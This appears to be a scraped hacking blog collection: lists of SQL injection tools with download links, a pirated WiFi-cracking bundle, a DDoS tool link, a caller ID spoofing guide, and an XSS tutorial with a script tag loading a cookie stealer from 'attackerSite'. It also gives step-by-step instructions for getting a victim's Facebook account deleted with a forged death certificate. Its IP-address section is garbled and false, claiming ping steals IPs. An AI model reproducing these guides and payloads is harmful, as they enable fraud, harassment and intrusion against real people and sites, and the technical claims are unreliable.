SQL Injection Scanners List !

imgsrc: http://www.insecure.in/images/sql_injection.gif

sqlmap ( http://sqlmap.sourceforge.net/ )
Full support: MySQL, Oracle, PostgreSQL and Microsoft SQL Server.
Partial support for: Microsoft Access, DB2, Informix, Sybase and Interbase.

Safe3 SQL Injector ( http://sourceforge.net/projects/safe3si/files/ )
Full support: MySQL, Oracle, PostgreSQL, MSSQL, ACESS, DB2, Sybase, Sqlite.

SQL Power Injector ( http://www.sqlpowerinjector.com/ )
Supports: Microsoft SQL Server, Oracle, MySQL, Sybase / Adaptive Server and DB2.

Absinthe ( http://www.0x90.org/releases/absinthe/index.php )
Supports: Microsoft SQL Server, MSDE, Oracle, and Postgres.

bsqlbf-v2 ( http://code.google.com/p/bsqlbf-v2/ )
Supports: MySQL, Oracle, PostgreSQL and Microsoft SQL Server.

Marathon Tool ( http://www.codeplex.com/marathontool )
Supports: MySQL, Oracle, Microsoft SQL Server and Microsoft Access.

Havij ( http://itsecteam.com/en/projects.htm )
Supports: MySQL, Oracle, Microsoft SQL Server and Microsoft Access.

pysqlin ( http://code.google.com/p/pysqlin/source/checkout )
Implemented: Oracle, MySQL and Microsoft SQL Server.

BSQL Hacker ( http://labs.portcullis.co.uk/application/bsql-hacker/ )
Implemented: Oracle and Microsoft SQL Server.
Available experimental support for MySQL.

WITOOL ( http://witool.sourceforge.net/ )
Implemented: Oracle and Microsoft SQL Server.

Sqlninja ( http://sqlninja.sourceforge.net/ )
Supports only Microsoft SQL Server.

sqlus ( http://sqlsus.sourceforge.net/ )
Supports only MySQL.

DarkMySQLi16.py ( http://vmw4r3.blogspot.com/ )
Supports only MySQL.

mySQLenum ( http://sourceforge.net/projects/mysqlenum/ )
Supports only MySQL.

PRIAMOS ( http://www.priamos-project.com/ )
Supports only Microsoft SQL Server.

SFX-SQLi ( http://www.kachakil.com/ )
Supports only Microsoft SQL Server.

DarkMySQL ( http://vmw4r3.blogspot.com/ )
Supports only MySQL.

ProMSiD Premium ( http://forum.web-defence.ru/showpost.php?p=12402&postcount=15 )
Supports only MySQL.

yInjector ( http://y-osirys.com/softwares/s-softwares/id10 )
Supports only MySQL.

Bobcat SQL Injection Tool ( http://www.northern-monkee.co.uk/pub/bobcat.html )

ExploitMyUnion ( http://sourceforge.net/projects/exploitmyunion/ )

Laudanum ( http://sourceforge.net/projects/laudanum/ )

Hexjector ( http://sourceforge.net/projects/hexjector/ )

WebRaider ( http://code.google.com/p/webraider/ )
Supports only Microsoft SQL Server.
Designed to execute commands on the server (reverse shell).

Pangolin ( http://www.nosec.org/2009/0920/74.html )
Pangolin distributed on a commercial basis, but is also available in a free version with limited functionality.
Implemented: Oracle, Microsoft SQL Server 2000/2005, Sybase, Access, Mysql, DB2 and Informix.

Toolza 1.0 (SQL injection supported DB: Mysql, Mssql, Sybase, Postgresql, Access, Oracle, Firebird / Interbase): http://bug-track.ru/prog/toolza1.0.rar

http://forum.web-defence.ru/showpost.php?p=12402&postcount=15

MySQL> = 4.x: https://forum.antichat.ru/threadnav43966-1-10.html
MySQL 3.x: http://forum.antichat.ru/showthread.php?t=20127
MSSQL: http://forum.antichat.ru/thread15087.html
ORACLE: http://forum.antichat.ru/showthread.php?t=40576
PostgreSQL: http://forum.antichat.ru/thread35599.html
MSAccess: http://forum.antichat.ru/thread50550.html

http://www.hungry-hackers.com/2008/10/top-15-sql-injection-scanners.html

http://maestro-sec.com/blogs/2008/10/top-15-sql-injection-scanner/

http://www.goitworld.com/top-15-free-sql-injection-scanners/

http://devteev.blogspot.com/2010/01/sql-injection.html

http://devteev.blogspot.com/search/label/SQL-Injection

 http://pentestmonkey.net/cheat-sheets/

source: http://esploit.blogspot.com

WiFi Hack Ultimate AIO (2011)

WiFi Hack Ultimate AIO (2011)

Downloading from ifile.it

Downloading from ifile.it Part ( 1 )

Downloading from ifile.it Part ( 2 ) 

Downloading from ifile.it Part ( 3 )  

Downloading from ifile.it Part ( 4 ) 

Downloading from ifile.it Part ( 5 )   

Downloading from mediafire

Downloading from mediafire Part ( 1 )

Downloading from mediafire Part ( 2 )

Downloading from mediafire Part ( 3 )

Downloading from mediafire Part ( 4 )

Downloading from mediafire Part ( 5 )

Close Any Facebook Account In 24 Hours

Just Follow the steps:
Step 1 - Go to this url:
http://www.facebook.com/help/contact.php...m=deceased

So this is the Url we will use to Report our slave. This Form allows you to report a deceased person (someone who is dead).

Step 2 - Complete the Fields:

Explain:
Full Name: Your Victims Full name(Name last name)
Date of birth: Go at his profile and click at Info tab and get his date of birth.
Account Email Addresses: Do the same thing, go to his profile and click on info tab and get his email addresses.
Networks: Again,go to his profile and click on Info tab and get his networks, copy them and paste in the form.
Web address of profile you would like to report: Just go to his profile and copy the link in the address bar.
Relationship to this person: To make more believable select Immediate Family.
Requested Action: Remove Profile
Proof Of Death: This is the hardest part of this form. Now to make a proof of a death just Google in your language a "Death Certificate" or "Certificate of a Death". It doesn't matters from what country you are, just use this Italian certificate and open up photoshop or whatever Image
Editor and just write in a blank field:
Annunciamo il morte di [name goes here]. Save your image to desktop and upload it in one of the Image
Free Hosting like: http://imageshack.us
And it's done ;)... Italian Death Certificate:
Additional Information: Write what you want, just write that you are in his/her family and you would like to close his/her Facebook account because you won't like that when he is dead, his Facebook is opened.

Step 3 - Click on Submit and then a message will appear:
Your injury was submitted at Facebook Team .. So the meaning is that one of the mod's of Facebook will review your report and will do the right decision. It works in most of the times. I closed a few ones.

GoodBye DDos Tool

Download : http://www.mediafire.com

IP Addresses (Internet Protocols) and how to steal them

IP stands for Internet Protocols. An IP address is the address for servers and a person's computer who is connected to the internet. Everyone on the internet has an IP address, and once you find out what it is, you know exactly where they are, and you can begin to hack them.

Internet Protocols Addresses are usually made up of random numbers seperated by dots. Every IP address is unique, no one can have the same one. This is why it is very important that you're careful when typing, you do NOT want to accidentally hack the wrong person/network.

• 66.17.44.186
• 81.73.50.42
• 192.168.1.1
• 127.0.0.1
• 84.10.1.5982
• 17.44.186
• 816.83.337.04

Obtaining a target's IP is address is the first step to prepare for an attack. Explained below are methods of obtaining a victim's IP address.Ping - the easiest way to steal an IP

Ping is a tool used to endlessly make requests to a server or another person. It works with both IP address or domain names. Domain names are the addresses that you type in to go to a website. Domain names are easier to remember, which is why the internet was invented.

Either way, by pinging a site, you can easily over-load it with requests, and at the same time obtain the IP. Ping is supported in Microsoft DOS, as shown below:

As you see, the hacker here is using Windows XP (a good choice), and in order to get the IP of mediacollege.com, the only thing he had to do was open up a DOS prompt and type inping mediacollege.com. Upon doing so, mediacollege.com was instantly hit with 4 requests which distracted their server long enough in order for Ping to steal the IP address.

source: http://www.elite-hackers.com

How to Spoof Caller ID ? Caller ID Spoofing

Caller ID spoofing is the act of making the telephone network to display any desired (Fake) number on the recipient’s Caller IDdisplay unit instead of the original number. The Caller ID spoofing can make a call appear to have come from any phone number that the callerwishes.Have you ever wondered how to perform Caller ID spoofing? Read on to know more information on Caller ID spoofing and find out how it is performed.
Unlike what most people think, an incoming call may not be from the number that is displayed on the Caller ID display unit. Because of the high trust that the people have in the Caller ID system, it is possible for the caller to easily fool them and make them believe that the number displayed on the Caller ID display is real. This is all possible through Caller ID spoofing.


How to Spoof Caller ID? 

You can easily spoof any Caller ID using services like SpoofCard. Inorder to use the spoofcard service, you need to pay in advance and obtain a PIN (Personal Identification Number) which grants access to make a call using the Caller ID spoofing service. Once you have purchased the service, you will be given access to login to your SpoofCard account. To begin with, you need to call the number given by  SpoofCard and enter the PIN. Now you will be given access to enter thenumber you wish to call and the number you wish to appear as the CallerID. Once you select the options and initiate the calling process, the call is bridged and the person on the other end receives your call. The receiver would normally assume that the call was coming from a different phone number ie: the spoofed number chosen by you - thus tricking the receiver into thinking that the call was coming from adifferent individual or organization than the caller’s. In this way itis just a cakewalk to spoof Caller ID and trick the receiver on the other end. Thus you neither need to be a computer expert nor have any technical knowledge to perform Caller ID spoofing. For more informationon SpoofCard service visit the following link.

SpoofCard


How Caller ID Spoofing works?

Caller ID spoofing is done through various methods and using different technologies. The most commonly used technologies to spoofCaller ID is VOIP (Voice Over IP) and PRI (Primary Rate Interface) lines.
Today most VOIP systems provide an option for it’s users to enter whatever number they want in the calling party field and this number is sent out when they make a call. Hence it is easily possible for any user to spoof Caller ID provided they have a VOIP system and know how to properly configure it to spoof the Caller ID. However sites like SpoofCard provide an easy and cheap spoofing services for those who aren’t using VOIP systems that they can configure themselves.

Caller ID spoofing is possible and being performed right from the days Called ID system was introduced. However most people are unawareof the fact that it is possible to spoof  Caller ID and make any numberto be displayed on the receiver’s end. In the past, Caller ID spoofingservice was mostly used by telemarketers, collection agencies,law-enforcement officials, and private investigators but today it is available to any Internet user who wish to perform Caller ID spoofing.

source: http://mmcracker.multiply.com

Cross Site Scripting(XSS) Complete Tutorial for Beginners

What is XSS?
XSS is stands for Cross site Scripting.  Don't confuse this with CSS(Cascading Style sheet).  It is one of the Top Web Application Vulnerability.  This vulnerability allows the attacker to insert client side scripts(especially Javascript) .  Using this vulnerability an attacker can inject malicious codes, leads to malware attack, phishing and session hijacking. 

XSS Vulnerability and Injection:

Step 1: Finding Vulnerable Website
As usual an attacker will search in google using the google Dork. For example, he will search for "search?q=" or "search.php?q= . This will results plenty of website. There are plenty of Google dork, hackers find their own dork and search.  if you have bad luck, it will be your site. 

Step 2: Testing the Vulnerability
In order to test the vulnerability, we need  to find a POST or Get parameter. Confused ? It is just input fields that will be send to server.  For example search query,username ,password . 
There are two ways to test the vulnerability:

Method 1: injection in form box(especially search box)
An attacker can enter the malcious script inside the search box and click the search button.  This will lead to run the malicious script inside that website

Method 2: Injecting in url
In this method , there may  not any form box.  They use the url field instead.
For Example:

htp://vulnerablewebsite/search?q=malicious_script_goes_here

for testing purpose, insert the

<script>alert('hi');</script> 

in the input fields.

For example:
using method 1, you can enter the code in search box and click the search button.
or
using method 2, you can enter the code in url like this:
http://vulnerablewebsite/search?q=<script>alert('hi');</script>

if it shows "Hi" message in popup box, then it is vulnerable to XSS.


step 3: Injecting Malicious Scripts
After find vulnerable site, an attacker will inject malicious scripts. It may lead to stealing cookies and malware attack as said before.

Let us assume an attacker has cookie stealing script  in his website.  for instance, his malicious script url is

http://attackerSite/malicious.js

He can inject now the malcious script inside the vulnerable site like this:

<script src=http://attackerSite/malicious.js></script>

When visitors loads into website, the malicious start to run and cause to cookie stealing.

Types of XSS Based on persisting capability:

There are two types of XSS based on persisting Capability namely Persistent and Non-Persistent.

Persistent XSS:
This is risky XSS vulnerability , it stores the data provided in server.  So the malicious script injection is permanently stored in web application.   It will be shown to other users when they visit the site.
if the attacker inject malware , then regular users of that website also infected .

For example:
Some sites may store the search query in order to track the user interest. This results in permanent storage of XSS.

Non-Persistent XSS:
Also referred as Reflected XSS .  In this case, the storage of malicious script is temporary one(means it won't be shown to other users).  Attacker may trick users to visit the URL with injection.  As they are regular user of that site, they will trust the link.  It leads to stealing cookies.

For example:
When you search in some site, it will return the result with your searching string. This cause to run the malicious code temporarily.

What can an attacker do with this Vulnerability?

• Stealing the Identity and Confidential Data(credit card details).
• Bypassing restriction in websites.
• Session Hijacking(Stealing session)
• Malware Attack
• Website Defacement.
• Denial of Service attacks(Dos)

Disclaimer:This article is for educational purpose only.  In order to Pentesters/Ethical hackers understand  the web application vulnerability, this article is written.   Also this article will educate webmaster so that they can prevent them self. 

Backlink- http://www.breakthesecurity.com
source: http://www.defencehacker.in

xSQLScanner – Database Password Cracker & Security Audit Tool For MS-SQL & MySQL

xSQL Scanner is a advanced SQL audit tool that allows users to find weak passwords and vulnerabilities on MS-SQL and MySQL database servers.

The objective of xSQLScanner is to assist the Security Analyst or Penetration Tester in auditing the security of MS-SQL and MySQL database servers.

Features

• Test for weak password fast;
• Test for wear/user passwords;
• Wordlist option;
• Userlist option;
• Portscanner
• Range IP Address audit and more.

Windows – xsqlscanner-1.2.zip
Linux – xsqlscan-mono.tgz

Or read more here.